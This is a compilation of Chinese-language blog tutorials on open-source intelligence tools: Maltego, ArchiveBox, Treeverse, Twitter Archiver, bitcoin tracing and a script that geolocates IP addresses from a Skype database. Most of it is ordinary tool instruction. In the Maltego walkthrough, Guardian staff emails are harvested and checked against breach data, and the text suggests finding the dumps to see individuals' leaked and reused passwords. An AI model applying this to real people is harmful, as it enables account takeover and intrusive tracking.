在线存在着大量信息，因此在研究时很容易丢失数据。想要了解大局可能会花费大量时间和精力 —— 但是将问题缩小到一个易于回答的问题是任何调查的第一步。

这就是为什么分析师使用像 Maltego 这样的开源情报工具来帮助将原始数据精炼成可以对目标情况完整理解的情报。

关于 Maltego，可以在下面看到更多中文版演示和介绍：

- 《社交工程工具用于开源情报调查：0基础初学者指南》
- 作为防御的使用《社交媒体情报和反情报基本工具手册：自我人肉（2）》
- 以及一系列演示视频《想成为专业情报调查人员吗？或者想要避免被追踪监视吗？这里是一堆视频能对您有所帮助》
- 相比下更简单的另一个工具《如何侦查电子邮件和电话号码？开源情报调查工具》
- 系列工具《20个最好用的在线侦查工具和数据收集工具》

在本教程中，我们将探索如何使用 Maltego 进行调查，不论是研究人员、公民记者、还是白帽黑客，都能够据此挖掘大量数据，以直观地发现模式并回答关键问题。

尽管侦察是任何攻击的第一步，但必须注意的是，公共和私营部门的分析师也使用这些相同的技能来帮助投资者和企业做出重要决策；公民调查人员可以使用这些技术破解信息战网络、挖掘当权者想要掩盖的真相。

因此学习成为一名出色的研究人员可能是人生中的强大后备技能。

为什么要像开源情报分析师一样进行搜索

每个人每天都会进行搜索，但分析师的搜索是一种以目标为导向的思考方式。您也可以采取同样的思考方式以提升自己的信息获取能力。

下面的视频重点介绍了普通人如何使用 Maltego 等工具进行调查以在工作面试中获得优势，当然，渗透测试工作人员所使用的工具也是相同的。

- 不要错过，更多开源情报调查技术视频系列《想成为专业情报调查人员吗？或者想要避免被追踪监视吗？这里是一堆视频能对您有所帮助》。

☞良好的研究围绕着解决以下问题的能力：提出可回答的问题、优化搜索以找到正确的数据来回答问题、并将原始信息处理为可操作的情报。

☆情报是经过背景信息和理解处理以产生含义的数据，是开源调查的改进产品（例如报告）与支持该理解的原始数据点之间的差异。

- 关于如何将您的调查变成有希望改变现状的有价值报告《如何讲述故事：开源情报研究初学者的指南》

☞如果没有上下文，数据就没有用 —— 因此仅查找大量数据并不能使您成为一名优秀的研究人员。

「图」

「图」

通过使用情报收集周期，您可以提前计划，避免迷失在可以返回大量数据的强大工具中。

如果您对要搜索的内容不确定，那么很可能会被搜索的初衷所迷惑。这是要避免的。

☞情报的重点是计划您的信息采集，找到正确的信息，处理和清理信息以开始制作图表、分析结果，并将这种理解转化为其他人可以从中学习的报告。

为了演示此过程，本文将使用 Maltego 的免费版本 Maltego CE 进行调查。

第一步：下载 Maltego CE

Maltego 是一个重量级工具，用于从互联网上挖掘数据并以易于理解的图形显示关系，该图形使模式非常明显。

只需要单击几下即可将单个已知信息扩展到庞大的相关数据网络。

Maltego 擅长采用诸如屏幕名称或电子邮件地址之类的东西，并发现所有内容，以帮助您在几秒钟内了解目标。

首先，您可以从负责 Maltego 的公司 Paterva 下载它。

「图」

「图」

由于在互联网上，人们共享有关自己和他人的数据量非常之大，因此 Maltego 及其类似工具可用于侵入性地跟踪人员、团体、公司或其他组织。

这些工具从API中提取大量数据，应用“转换”算法来分析和挖掘数据，并以简单易懂的视图形式显示结果。

这种强大的功能和灵活性使您能够通过单击就可以回答一些非常具体的问题。

下载 Maltego 之后，请按照指导进行安装和注册，以获取CE许可证密钥，您便可以开始进行首次调查。

启动 Maltego 并输入您的许可证密钥，然后在主屏幕中按 Ctrl ＋ T（在 macOS 上为 Command ＋ T）以打开一个新的空白标签。

在左侧，您将看到“实体”面板，其中列出了可以添加的所有不同种类的数据。

第二步：进行调查

对于本文的测试示例，我们决定查看是否可以确定新闻媒体《卫报》的员工，这些员工的帐户因数据泄露而受到损害。

- 关于卫报如何变得如此操蛋，见《从做新闻到”作”新闻：维稳机构如何成功废掉说真话的媒体？》

显然，这对于谷歌来说是个很棘手的问题，但我们可以停止依赖诸如新媒体之类的辅助来源数据，并通过 **Maltego** 获取想要的数据。

首先，我们需要样本，也就是卫报员工的电子邮件地址。

由于他们是记者，他们可能会使用PGP，因此消息来源可以匿名向他们发送电子邮件，但我们会尝试查找更多要添加的员工电子邮件。

- 不要错过《"如何让密钥说出秘密？将PGP用于开源情报侦察的方法"》

「图」

「图」

首先将 “theguardian.com” 的网络域拖放到 Maltego 中，右键单击并选择PGP转换，这样就可以开始使用在PGP密钥服务器中找到的员工电子邮件列表。

「图」

「图」

现在，您可以同时选择所有这些电子邮件，然后对它们全部进行另一种转换。

这里将运行 “**HaveIBeenPwned**” 来查找它们是否涉及任何数据泄露或任何 Pastebin 转储。

「图」

「图」

很幸运，不仅找到了一个漏洞，而且还有多个 Pastebin 转储。由于可

以看到 Pastebin 转储中包含多封员工电子邮件，因此可以继续追踪以查找是否还有更多。

运气真的不错，一下子发现了还有90多个要添加的员工电子邮件。我们可以简单地将它们粘贴到 Maltego 中，Maltego 将解释数据类型并自动添加它们。

「图」

「图」

添加了这些电子邮件地址后，我们现在可以对整个样本进行转换，以查看是否有任何违规事件，并查看这些员工中可能存在的任何模式。

扩展有关我们发现的数据泄露的信息，以了解用户在泄露中丢失的确切信息也很有用。您甚至可以创建涉及泄露密码的违规行为的员工列表。

「图」

「图」

像这样，只能选择那些在密码泄露中丢失密码的用户，但这也意味着很可能可以在互联网上找到有问题的数据转储，以查看特定人员喜欢使用的密码种类。如果你真的很幸运，甚至可以找到 ⚠某些马虎的组织可能会为许多帐户使用相同的密码。

您如何使用 Maltego？

☞通过知道如何提出相关的和可回答的问题，您可以了解有关几乎所有事物的大量重要且具体的信息。

从开源调查中得出的见解支持当今许多业务决策，通过使用这些工具来更好地了解决策所需的情况，您可以从同类信息中受益。

与所有强大的工具一样，Maltego 是一把双刃剑。力量掌握在您的手中，因此，请明智地使用它。做有益于大众的事。〇

广告

原文

如何制作自己的互联网存档 - iyouport

开源情报-每个人都可用的武器

互联网档案馆有很多限制，但您依然可以获得自己的离线的存档，让一个网站保持它本来的样子

您有很多理由想要保存一个网站、网页、视频、音频等等，它们可能会随着时间消失，或者您的翻墙软件失败。比如我们的网站，多位读者询问过是否有“全网站下载”，很遗憾我们不会提供那种功能，但您可以自己完成，包括其中所有视频，都可以离线存档。nixintel 介绍了如何做到这点。

互联网开源调查的最大挑战之一是一旦发现数据后如何保存。

您可以获得的信息比以往任何时候都多，但如果您不采取措施将其存档，那么很多信息很容易丢失。如果您曾经将一个重要的资源加入书签，但稍后再回来时却发现它已经不存在了，您就会知道这有多么令人沮丧。

互联网档案馆可能是人们最熟悉的保存网页的工具，但它并非没有局限性。例如，它不能捕获 **Facebook** 页面，即使您指示它开始存档一个网站，那么如果该网站的 **robots.txt** 阻止抓取，它也很容易失败。

越来越多的 Javascript 和嵌入式视频内容的使用，也让网页的抓取和存档变得更加困难。您在 **Internet Archive** 上找到的保存的网站往往缺少了许多原始内容和功能。

为了应对这种情况，有必要使用几种类型的工具来为您的调查保存网页内容，而不是仅仅依靠一种工具。

Hunchly 对于抓取网页来说是非常好的，但您还是需要用 YouTube-dl 来补充，用来抓取视频内容。最近出现的 Archive Box 工具可以帮助您建立想要保留的网页内容的离线档案。它并不是为开源调查工作而设计的，但它完全可以胜任保存和归档多种格式的网页的任务，包括基于 JavaScript 的网站和PDF/PNG截图。视频和音频内容也可以

被下载和保存。

Archive Box 可以为您的书签、浏览器历史记录或从您提供的自定义**URL**列表中列出的网站，建立完整的存档。

本文将展示如何设置和安装 Archive Box，并开始存档您自己的网页。

设置

「图」

Archive Box 是用Python编写的，可以在 Linux 和 Mac OS 上运行。它利用原生的 Linux/Mac 程序，如 curl 和 wget 来抓取大量的数据，所以与许多其他 Python 工具不同，它不会在 Windows 中运行。如果您想在Windows环境中使用 Archive Box，那么您需要按照这里的说明安装并使用 Docker 运行它。

Archive Box 的最新版本(0.4.21)可以通过 Pypi 获得，将在本指南中安装它。它需要 Python 3.7 或更高版本才能运行。Archive Box 也可以在 Windows 上运行，前提是您已经安装了 Python/Pip。

要检查您当前的 Python 3 版本，请进入控制台并输入：

```
$ python3 -V
```

如果版本小于 3.7，您需要安装一个更新的 Python 版本。

一旦您安装了 Python 3.7 (或更高版本)，可以用下面的命令直接从 PyPi 安装 Archive Box：

```
$ pip install archivebox
```

如果您不熟悉 Python和Pip，可以看这篇文章。如果您使用的是 MacOS，则可以用 Brew 安装 Archive Box：

```
$ brew install archivebox
```

Archive Box 也有一个 Docker 镜像，这意味着您也可以在 Windows 上运行它，只需要先设置 Docker。

接下来，您需要创建一个存放您的存档的目录，并在那里完成

Archive Box 的设置。

```
$ mkdir myarchive &amp;amp;&amp;amp; cd myarchive
```

```
$ archivebox init
```

安装完成后，您就可以开始构建存档文件了。

基本用法

「图」

所有命令均采用以下格式：

```
$ archivebox [command] [argument]
```

要存档单个网页，请使用以下命令：

```
$ archivebox add 'https://域名'
```

也可以在您的请求中添加递归，这样不仅可以对您指定的页面进行存档，而且 Archive Box 也会对页面上的每一个链接进行跟踪，并将其也存档。depth 越大，它就会跟着链接走得越远。递归可以通过以下选项来添加：

```
$ archivebox add 'https://域名' --depth=1
```

现在将存档该站点，并跟踪其中的所有链接，depth＝1，然后也存档所有这些页面。

查看存档

「图」

这里是新存档：

「图」

要查看您的存档，打开浏览器并导航到您创建的存档文件夹中的 index.html 文件。它将是类似 /home/username/myarchive/index.html 的东西。存档记录了您创建它的时间，保存的链接，以及原始的URL。点击 “文件” 就可以看到 Archive Box 的强大功能。

现在目标网站首页已经被保存为离线本地存档（包含所有必要的JavaScript，因此外观与实时版本相同），您也会注意到 Archive Box 甚至在WayBack Machine上也存档了一份。所以现在您的机器上已经有了一个完整的网站工作档案保存在本地。比起简单的截图，这是一种更好的保存网页的方式，即使原来的网站消失了，您仍然有一个完整的离线副本可以使用。

存档多个网站

「图」

只有一个网站的存档并没有多少乐趣。幸运的是，Archive Box 还能让您轻松地一次存档多个网站，无论是从URL列表，还是从浏览器的保存书签。要对多个网站进行存档，请创建一个类似这样的文本文件，每行只有一个URL：

```
https://gabrielrockhill.com https://
thebulletin.org https://quillette.com
```

然后，输入以下命令（假设您的URL列表与存档文件位于同一目录中）：

```
$ cat url_list.txt | archivebox add
```

几分钟后，所有列出的网站都以与以前相同的格式添加到您的离线存档中。

尽管如此，事实上，网站的PDF和PNG版本也被创建，这意味着您仍然可以看到网站在存档时的样子。您还会注意到前文中提到的Wayback Machine 的一个限制。如果一个网站不想被 Wayback Machine 抓取，唯一能保留的就是301错误。以多种格式存档意味着材料丢失的几率大大降低。

视频内容

「图」

Archive Box 使用 YouTube-dl，因此它也可以对视频内容进行存档。比方说，您想把这个十分钟小贴士添加到您的存档中。您可以运行以下命令。

```
$ archivebox add https://www. youtube.com/watch?v=zo_geMvcOg8&amp;feature=youtu.be
```

整个10分钟小贴士现在将保存到您的档案中，包括视频和音频文件。

要访问已存档的视频/音频，请单击右侧的 “媒体” 链接。您会看到视频、音频和缩略图的内容都已离线保存：

「图」

存档您的书签

「图」

Archive Box 还允许您创建保存在书签中的网站档案。只需将浏览器中的书签列表导出（Chrome浏览器和Firefox浏览器请看这里和这里的说明）为HTML文件，然后将 Archive Box 指向它。

```
$ archivebox add /path/to/bookmarks.html
```

最后

「图」

能够捕获和保存网络内容是开源调查人员的核心技能。有几个技术挑战使这一工作变得困难，但 Archive Box 是收集和保存所需信息的一种非常有效的方法。

Archive Box 正处于积极的开发中，并不断添加新的功能和更新，因此本帖中的一些内容可能会随着时间的推移而过时。请在 Twitter 上关注 @ArchiveBoxApp，了解最新更新。〇

Make Your Own Internet Archive With ArchiveBox

原文

如何可视化推特对话：极简小工具 - iYouPort

开源情报-每个人都可用的武器

Twitter 是开源调查的金矿；一些常规工具都能挖出吸引人的亮点来，就如我们曾经介绍过的那样，见《从推特中挖掘真相》。

有些时候您需要针对一个热点话题进行分析，也或者想要通过多个话题查找目标人的社交圈子、关注重点、兴趣爱好等隐蔽信息，这个时候就是 Treeverse 派上用场的时候了。

您也可以使用该工具通过袜子木偶账户来搜索自己，查看在监视者眼中您有可能暴露了什么。

Paul Butler 的 Treeverse 已经存在一段时间了，并且目前为止它仍然是可视化和跟踪嘈杂的 **Twitter** 对话的最佳方式之一。

它已经包括在我们早前推荐的情报工具箱里，这里看到《超级情报手机工具库》。

最初它只在 Chrome 中提供，Firefox 扩展在去年年底已经推出。

获得 **Treeverse**

Treeverse 源代码可以在 GitHub 上找到，你可以直接从这里获取 Chrome 的插件，Firefox 版本在这里。

顺便说，如果安装时被提示“程序包无效”怎么办。

安装谷歌插件时有可能被提示 “CRX_HEADER_INVALID” 。

这个错误与插件本身没什么关系，只是谷歌浏览器的安全机制。所以需要做一些处理以令安装成功。

首先，插件下载后是 .crx 格式，现在修改成 .rar 格式，修改时会提示一个对话框，不必理会。

然后，解压修改后的 .rar 文件，得到解压后的文件夹。找到

“_metadata” 文件夹名字改成 “metadata” ，就是删除下划线。

再然后，打开谷歌浏览器扩展程序，并打开右侧的开发者模式，点击左边 「加载已解压的扩展程序」。选择刚才解压后的文件夹导入即可。

Treeverse 用法

安装该插件后，只需要导航到您感兴趣的推文，然后点击将出现在浏览器地址栏中的 Treeverse 图标：

「图」

「图」

然后，Treeverse 会以比原始 Twitter UI 更整洁的方式显示出现的推文、回复、以及不同会话的 threads。

点击头像将在右侧显示推文 threads，而回复则采用颜色编码以指示人们响应的速度。

以下是特朗普推文的可视化以及从中展开的对话。

「图」

「图」

彩色线条表示响应推文的时间，红色省略号表示推文可以打开并显示另一个分支 thread。

最终，您的可视化报告可以通过可共享链接（或使用您最喜欢的截图工具捕获）并导出，以协助调查，或仅仅帮助您跟踪复杂的 Twitter 对话。〇

广告

原文

如何在Google表格中保存任何你想要的推文？调查者和分析师的工具 - iYouPort

开源情报-每个人都可用的武器

追踪热点事件、热门话题、信息战僵尸网络调查、品牌推广、活动宣传……

「图」

「图」

如果 Twitter 带有“导出”按钮，会不会更好吗？

您可以提供搜索标签或关键字设定或您的品牌名称，然后将所有匹配的 tweet 保存在 Excel 或Google电子表格中。而且，随着新推文的发布，该存档会在后台自动更新。

听起来不错吧？

Twitter Archiver 可以满足您。这是用于保存推文的最简单工具。

这是一个Google插件，只需5分钟即可设置（在下面观看视频教程），并且可以轻松地自动捕获与 Google Spreadsheet 中的特定搜索词匹配的所有推文。

您可以使用该工具监视任何话题标签包含的推文、了解人们对热点议题或品牌的看法、跟踪热门搜索关键字、从任何地理位置保存推文……等等。

「图」

「图」

如何在Google电子表格中保存推文

首先，安装 Twitter Archiver，它将创建一个新的 Google Spreadsheet。

转到 Add-on，然后选择 Twitter Archiver，选择授权菜单。

允许Google表格代表您访问 Twitter —— 该应用程序需要具有此权限才能提取推文，并且永远不会在您的 Twitter 帐户中发布任何内容。

⚠请注意这里的“您”指的应该是您的袜子木偶账户，而非真实账户。熟练制作并运行袜子木偶是调查人员和分析师的基本功。在下面回顾做法。

- 《如何建立一个匿名社交媒体账户以保护个人数据的私密性？》
- 《如何快速创建一个假人？简易版分身术—调查人员使用》
- 《角色扮演》

「图」

「图」

授权您的 Twitter 帐户后，再次转到 Twitter Archiver 菜单并创建一个新的搜索规则。

如果您已经习惯在 Twitter 上使用高级搜索页面，那么此搜索屏幕对您来说将非常熟悉。

您可以在此创建提及某些搜索词的规则、查找确切的短语、通过#hashtags查找推文、@提及特定 Twitter 用户的推文 ……等等。

现在，您已经创建了 Twitter 查询，单击“开始跟踪”按钮以初始化 Twitter Archiver。

在内部，工作表将连接到Twitter，并提取与您的搜索词匹配的历史性推文。它将这些推文写在 Google Spreadsheet 内的单独的表格中。

存档器将每小时轮询一次 Twitter，并拉入最新发布的匹配推文。

您可以看上面的视频教程，它非常简单。

不止推文，**Twitter Archiver** 应用程序还将导入其他数据，包括转发和收藏计数，发帖者的朋友和关注者计数，以及是否经过验证（也就

是有没有蓝V）。

这些数据将帮助您过滤掉垃圾 Twitter 用户，或轻松地从最有影响力的用户那里查看推文。

如果您想停止存档特定搜索词的推文，请转到 Twitter Archiver，选择“要保存的搜索”菜单，您将看到现有的已保存搜索列表。从下拉列表中选择要删除的对象，然后点击“删除”按钮。

很简单吧？无需创建任何 Twitter 应用，也无需摆弄Google脚本。

常见问题

1、如何创建复杂的搜索查询？

存档器支持所有 Twitter 搜索运算符。例如，您可以将 min_retweets：5 放在“高级规则”框中，以显示该搜索词的最佳推文。在下面回顾运算符用法：

- 《绕开推特算法噪音、使用基本运算符挖掘推特数据的方法》

2、为什么 Twitter Archiver 访问各种服务？

Archiver 附加组件连接到外部服务（Twitter API），并将推文保存到 Google Spreadsheet。另外，如果出现问题，您可以通过电子邮件将调试日志发送给开发人员，因此它需要发送邮件的权限。

3、隐私政策是什么？

该加载项在您的 Google 帐户中运行，并直接连接到 Twitter。它甚至不与任何人（包括开发人员）共享一个字节的数据。

4、我的 Twitter Archiver 没有全面收集所有旧推文，为什么？

Twitter API 并不提供所有历史推文。它只会返回过去5–7天或最近1000条已发布的推文。但是 Archiver 将获取其跟踪的任何关键字的未来发布的推文。

5、我是否必须保持工作表打开才能保存推文？

该存档器在Google服务器上运行，因此即使关闭Google表格也可以正常运行。您可以关闭工作表，关闭计算机，存档器也会继续工作。

6、免费版和高级版有什么区别？

Twitter 附加组件的免费版本使您最多可以跟踪2个搜索查询。您可以在同一个Google表格中使用高级版跟踪更多查询。

免费版每小时对 Twitter 进行一次巡逻，而高级版每15分钟一次，因此它更适合于跟踪产生大量推文的关键字 —— 比如热点事件、热门标签、排名趋势前卫的话题等等。

7、如何升级到 Twitter Archiver 的高级版？

您可以使用此 PayPal 链接升级到高级版。39.99美元这是一次性固定费用，您可以终身使用。

8、我需要帮助。我应该联系谁？

仅高级版提供支持。可以将您的请求发送至 amit@labnol.org。

9、IFTTT 或 Zapier 也可以保存推文、为什么要使用 Twitter Archiver？

Twitter Archiver 将推文的完整元数据保存在电子表格中，它以更快的速度获取推文，您可以在Google表格中直观地创建和管理搜索查询。

10、如何使用其他格式保存推文（如 PDF）？

由于这些推文已保存在 Google 电子表格中，因此您可以轻松将其以各种格式（包括 PDF、CSV）导出，甚至可以将数据集发布为 HTML 网页（选择 File -」 Publish to Web inside Google Sheets）。

高级用户可以尝试使用此技术从 Twitter 创建 JSON 或 RSS Feed。

不论对于香港那样的大型抗议，还是追踪信息战的动态，都是非常好用的。注意操作安全哦！希望您能找到最高价值的使用方法。〇

广告

原文

如何在区块链上追踪比特币交易？ - iyouport

开源情报-每个人都可用的武器监视区块链和反现金之战

【2019年9月4日存档】区块链是开源调查的金矿……

5月份时我们得到消息，中国国社正在努力宣传以推动“中国自己的加密货币”，这应该不算新闻，而是已经酝酿已久的想法正在更快速被落实。

今年1月，中国巨富马云在一次讲话中表示，他特别关注比特币和区块链技术，以及其建立无现金社会的潜力。

尽管马云仍在研究比特币和其他主要加密货币带入市场的基本价值，但他强调“区块链技术作为一个整体是一项强大的创新”。

当时我们询问中国国社记者，其领导层是否有对加密货币话题报道主线的建议，比如是“无现金”，还是所谓的“数据主权”，被告知“并没有”，只要全力支持。这就更有意思了。

2018年11月，国际货币基金组织总干事 Christine Lagarde 在一次著名的讲话中明确称：“中央银行是否会提供完全匿名的数字货币？当然不会。这样做对犯罪分子来说是一笔财富。”

这次演讲题为“变革之风：新的数字货币案”，拉加德向新世界的金融技术参与者所作的介绍是中央银行要建立一个数字货币体系的主张。

IMF 计划的系统将构成一个反挑战的电子堡垒。任何关于杰斐逊主义“反叛”的暗示都将被扼杀在胚胎状态。

2019年已经开始朝着比特币银行业迈进的巨大转变。大型机构正在竞争持有并存储您的加密货币。

以下是几个已经出现的状况：# 富达（全球最大的资产管理公司之一）正在推出加密货币监管服务。它本质上是一个为其客户持有加密货币的银行。

- Coinbase（世界上最著名的加密货币交换机）现已在纽约注册为“合格托管人”。这是允许银行持有其他人的钱的同义词。
- 美国银行刚刚提交了比特币存储专利。
- 万事达卡刚刚为加密货币部分储备系统申请了专利。

这对您的个人隐私绝对是最巨大的打击。使用这些服务中的任何一项都需要大量的识别信息才能满足 KYC（了解您的客户）和 AML（反洗钱）法律。

如果您出于隐私原因购买和使用比特币或其他加密货币，您应该不惜一切代价避免这些快速增长的监管趋势。

⚠去年12月，美国国土安全部（DHS）在 2019 财年的预先征集文件中写道，他们希望将资源用于创建可以监视数字资产流动的区块链取证应用程序。之前的努力已经解决了比特币追踪问题，现在该机构希望将监控工具用于加密货币，如 monero 和 zcash。

该机构希望通过以下三个阶段来获得无盲点的监视能力。

第一阶段是研究人员和程序员为执法机构设计区块链分析生态系统，或为此目的修改现有的 DLT 分析工具。新工具必须能够专门为隐私货币（如 monero 和 zcash）提供监控架构。

第二阶段是开发一个可以演示的区块链监控原型，包括针对 “没有外部数据、外部数据和另一个区块链平台的可疑交易”的分析。

最后，第三阶段将包括商业和政府级区块链监控应用。

……

“比特币最大的缺陷是缺乏隐私”，在比特币2019年的会议上斯诺登说。

网络安全专家指出了隐私作为自由来源的重要性。

“缺乏隐私是比特币最大的威胁之一。保护用户应该是政治变革的关键，“斯诺登说。

斯诺登是对的。事实上，区块链是开源调查 OSINT 的金矿，它减少而不是增加了加密货币使用方面的匿名性。

区块链是一个分散的公共分类账，包含有关特定加密货币的每笔交

易。虽然隐私币和不倒翁服务使这个问题有点复杂化，但作为一般规则，追踪比特币交易并不困难。

本文为 OSINT 调查员提供一个框架，以跟踪区块链上的交易，前提是已经有一个想要查看的特定地址或交易的日期和金额。感谢 Brenna Smith 的演示视频。

你需要的是什么、以及你要做什么

你需要的唯一工具是区块资源管理器。我更喜欢 Blockchain.com 的 Bitcoin Block Explorer.

这个案例使用穆勒在2018年7月对12名俄罗斯GRU特工的起诉书。

将起诉书（上面链接）直接翻到第22页，您可以看到，大致在2016年2月1日， 0.026043 BTC 被发送到一个未知地址。

这一句话足以让我们找到这个确切的交易信息，也许还可以了解到GRU代理人购买的内容、以及购买地点的更多信息。

首先，尝试查找2016年2月1日发生的交易。将各种区块高度输入到比特币区块浏览器中。

请记住，自2009年构想以来，已经发生了数亿次比特币交易，并且单个区块可以包含多个交易。因此，找到特定日期的交易可能是一个猜谜游戏。

我通常会尝试从高数字开始。例如，下面是BTC区块链上第 100,000 个区块的屏幕截图。

这个区块建于2010年12月29日11:57:43。由此可知道，仍需要显著提高区块高度，以便查找到2016年的交易。

为了节省时间直接尝试 400,000th，然后你就会发现超过了该日期，需要稍微降低区块高度才行。

继续输入不同的区块高度，直到到达2016年2月1日的第一个区块，即396049 区块。

现在正处于2016年2月1日的第一个区块，需要查看一整天的所有交易，直到找到与 0.026043 BTC 匹配的交易。

为此，单击区块 396049 的哈希部分，然后 Ctrl-F 以查看该区块上的任何事务是否与 0.026043 BTC 匹配。

如果没有找到匹配，请转到下一个区块继续检查该区块中的金额。

在此过程中记录下哪些交易完全对应于 0.026043，因为可能有多个“确切”数量的比特币发送。

当您滚动以单击下一个区块时，您可能会注意到有两个链接。在本练习中，只需单击第一个区块链接即可继续。没有必要进一步详细说明。

「图」

继续检查每个区块的金额，直到您到达2016年2月2日的第一个区块。这可能需要一段时间，因为每小时都有很多区块生成。

最终，您将找到当天的两个区块，大约数量为 0.026043—区块 396060 和区块 396123。

正如您在下面的视频中看到的，区块 396123 的交易恰好为 0.026043 BTC，而 396060 的交易量为 0.02604322。

从区块 396123 进一步查看交易，在11：13：42, 1LQv8aKtQoiY5M5zkaG8RWL7LMwNzVaVqR 将两个不同数量的 BTC 发送到两个地址 ：0.026043 BTC 到 1NZ4MSeYcDKFiPRt8h7VK6XMhShwzhCzCp 、和 4.54325747 BTC 到 1AK79g9gpvZ8jn2C9MsWQpijMFA5JaTdqP（点击下面图片放大，在下方）：

「图」

由于是地址 1LQv8aKtQoiY5M5zkaG8RWL7LMwNzVaVqR 发送的确切数量与起诉书一致，接收方为 1NZ4MSeYcDKFiPRt8h7VK6XMhShwzhCzCp，我认为这个地址更有可能关联到俄罗斯黑客，而不是去区块396060中的其他交易。

为了确认这是 Mueller 起诉书中提到的交易，我在1月31日和2月2日重复了这些相同的步骤，以确保没有其他交易导致正好转移了 0.026043 BTC。

结果显示没有其他人这样做，好吧，可以确认2016年 GRU 代理人使

用了地址 1LQv8aKtQoiY5M5zkaG8RWL7LMwNzVaVqR。

现在已经完成了使用比特币区块浏览器追踪比特币地址所需的步骤。如果您可以重复这些步骤，就可以开始尝试从穆勒的第二份起诉书中找到与GRU代理相关的另一个地址。

您甚至可以通过 Google 搜索您正在寻找的BTC的确切数量、以及YYYY-MM-DD格式的日期，来查找交易。演示如下面的视频。

这些只是最简单的方法。美国国安部想要的追踪能力要比这高深得多。您完全可以假定中国当局拥有相似的能力，因为它并不难获得。

要找到比特币来源的详细信息可以使用 bitcoinwhoswho.com。

当中国“自己的加密货币”建成时，也许直接百度就可以看到一切？……〇

延伸：《VPN？入侵？比特币？俄罗斯攻击者究竟是怎么被发现的？》

原文

如何在地图上轻而易举找到一个 Skype 用户的具体地理位置？#OSINT - iYouPort

开源情报-每个人都可用的武器

继续这个游戏。如果能在地图上显示 Skype 呼叫的具体位置，是不是很酷呢？你也能做到！

「图」

在本系列的第一部分中，我们介绍了如何从 SQLite 数据库中提取电子邮件帐户，并从 FullContact.com 中提取其他信息，以查找与这些电子邮件地址关 联的社交媒体帐户或其他在线配置文件。

在这篇文章中，我们将应用相同的技术，只是我们将提取IP地址，并地理定位它们，然后在地图上显示结果以可视化 Skype 呼叫的位置。大部分繁重的工作都是在上一篇文章中完成的，所以我们只是建立在这个基础上。

开始！

修改正则表达

首先从这里获取 sqlite_osint.py 脚本的副本，然后将其保存为 sqlite_osint_geoip.py。我们要做的第一件事是修改正则表达式以匹配 IP 地址而不是电 子邮件地址。把第10行替换成为：

```
regex_match = re.compile("""^(25[0–5]|2[0–4][0–9]|[01]?[0–9][0–9]?).(25[0–5]|2[0–4][0–9]|[01]?[0–9][0–9]?).(25[0–5]|2[0–4][0–9]|[01]?[0–9][09]?).(25[0–5]|2[0–4][0–9]|[01]?[0–9][0–9]?)$""")
```

呃，好像有点复杂？没关系，现在我们已经实现了这一点，让我们继续设置将 IP 地址转换为地理位置。

地理定位 **IP** 地址

虽然科学不精确，但有时尝试对 IP 地址进行地理定位仍然很有用。这涉及使用具有映射到地理位置的各种 IP 子网的数据库。其中一个经过验证的真实数 据库是 Maxmind Geolite 数据库（在此下载）。下载数据库后，您需要使用7-zip（Windows）或 OSX 解压缩，只需双击即可解压缩。记下生成的文件的 位置，因为我们很快就会需要它。

Maxmind还慷慨地为我们提供了一个 Python 模块（文档在这里），这将使我们能够轻松地使用他们的数据库格式，你可以使用 pip 安装它：

```
pip install geoip2
```

很棒，现在让我们为脚本添加更多内容。在所有 import 语句的下方，添加以下内容：

「图」

这将导入 geoip2 模块，专门用于处理数据库文件（第4行），然后通过传递数据库文件的路径（第6行）来初始化数据库读取器。路径应是电脑上的当 前位置。我们现在开始设置将IP地址解析到地理位置。接下来，我们需要安装必要的映射件。

使用 **Folium** 构建地图

这里有一个叫做 Folium 的 Python 模块。Folium 允许您使用 Leaflet 映射创建精彩的地图可视化，并输出到 HTML 文 件。要安装 Folium，正如您可能猜到的那样，您可以使用 pip：

```
pip install folium
```

现在让我们将导入语句添加到脚本上方的第5行，如下所示：

「图」

好了，现在我们准备开始做一些真正的编码了。我们将编写一些 Python 语句来遍历我们的正则表达式的结果列表，检查 Maxmind 数据库的 IP 地址，然后 将其放在我们可以在Web浏览器中浏览的地图上。让我们开始吧。

将它们整合在一起

首先下拉到脚本的底部，在我的编辑器中，在最后一个打印语句之后的第 52 行左右。删除遍历 match_list 的两行代码（第 52 和 53 行）并修改为以下代 码：

「图」

第 52 行：初始化 Folium Map 对象，我们将使用它来添加标记。标记为你在地图上看到的那些小气球。

第 53 行：用于跟踪我们已解决的IP地址的空列表，这样我们就不会对它们进行双重解析并使地图变得混乱。

第 55–62 行：遍历提取到的IP地址（第 55 行），然后创建一个字符串，该字符串将保留IP地址并使用.分割（第 57 行）。接下来，我们检查当前 IP 是否在我们已解析地址列表中（第 59 行），如果不是，则将其添加到列表中（第 62 行）。

这是我们脚本的清理部分，现在我们需要实际利用 geoip2 模块将 IP 地址转换成位置。我们现在添加此代码：

「图」

第 64 行：使用 reader 对象并传入我们希望解决的IP地址。

第 66 行：测试 record 变量是否为有效纬度，以确保我们获得了正确的位置。

第 68 行：创建一个包含 IP 地址的 Folium Popup对象。这样我们就可以点击地图上的小气球，让它显示位置后面的 IP。

第 69 行：通过传入包含我们已解析的纬度和经度的列表以及在第 68 行创建的 Popup 对象来创建 Folium Marker 对象。

第 71 行：使用 ip_map 对象并调用 add_child 函数将标记添加到地图中。

第 73 行：将地图保存到 index.html。 就是这样！ 只需将一些代码添加到我们之前构建的代码中，我们就拥有了全新的功能。让程序运行起来吧！

让它运行起来

当您针对 Skype 数据库运行时，您应该会看到一些结果（假设您已拨打 **Skype** 电话）结果可能会让您大吃一惊，因为您可以直观地看到您拨打 **Skype** 电话的位置。像这样运行脚本：

python sqlite_osint_geoip.py -d /Users/justin/Desktop/main.db

[*] Scanning table…DbMeta

[*] Scanning table…AppSchemaVersion

[*] Scanning table…Contacts

[*] Scanning table…LegacyMessages

[*] Scanning table…Calls

[*] Scanning table…Accounts

[*] Scanning table…Transfers

[*] Scanning table…Voicemails

[*] Scanning table…Chats

[*] Scanning table…Messages

[*] Scanning table…ContactGroups

[*] Scanning table…Videos

[*] Scanning table…SMSes

[*] Scanning table…CallMembers

[*] Scanning table…ChatMembers

[*] Scanning table…Alerts

[*] Scanning table…Participants

[*] Scanning table…VideoMessages

[*] Scanning table…MediaDocuments

[*] Scanning table…Translators

[*] Scanning table…tracker_journal

[*] Scanning table…MessageAnnotations

[*] Scanning table…Conversations

[*] Discovered 52 matches.

[*] Finished creating map!

现在，请您检查与脚本相同的目录，您应该会看到一个 index.html 文件，您可以在浏览器中打开该文件，然后您将看到一个可以浏览的地图。我看起来像这样：

「图」

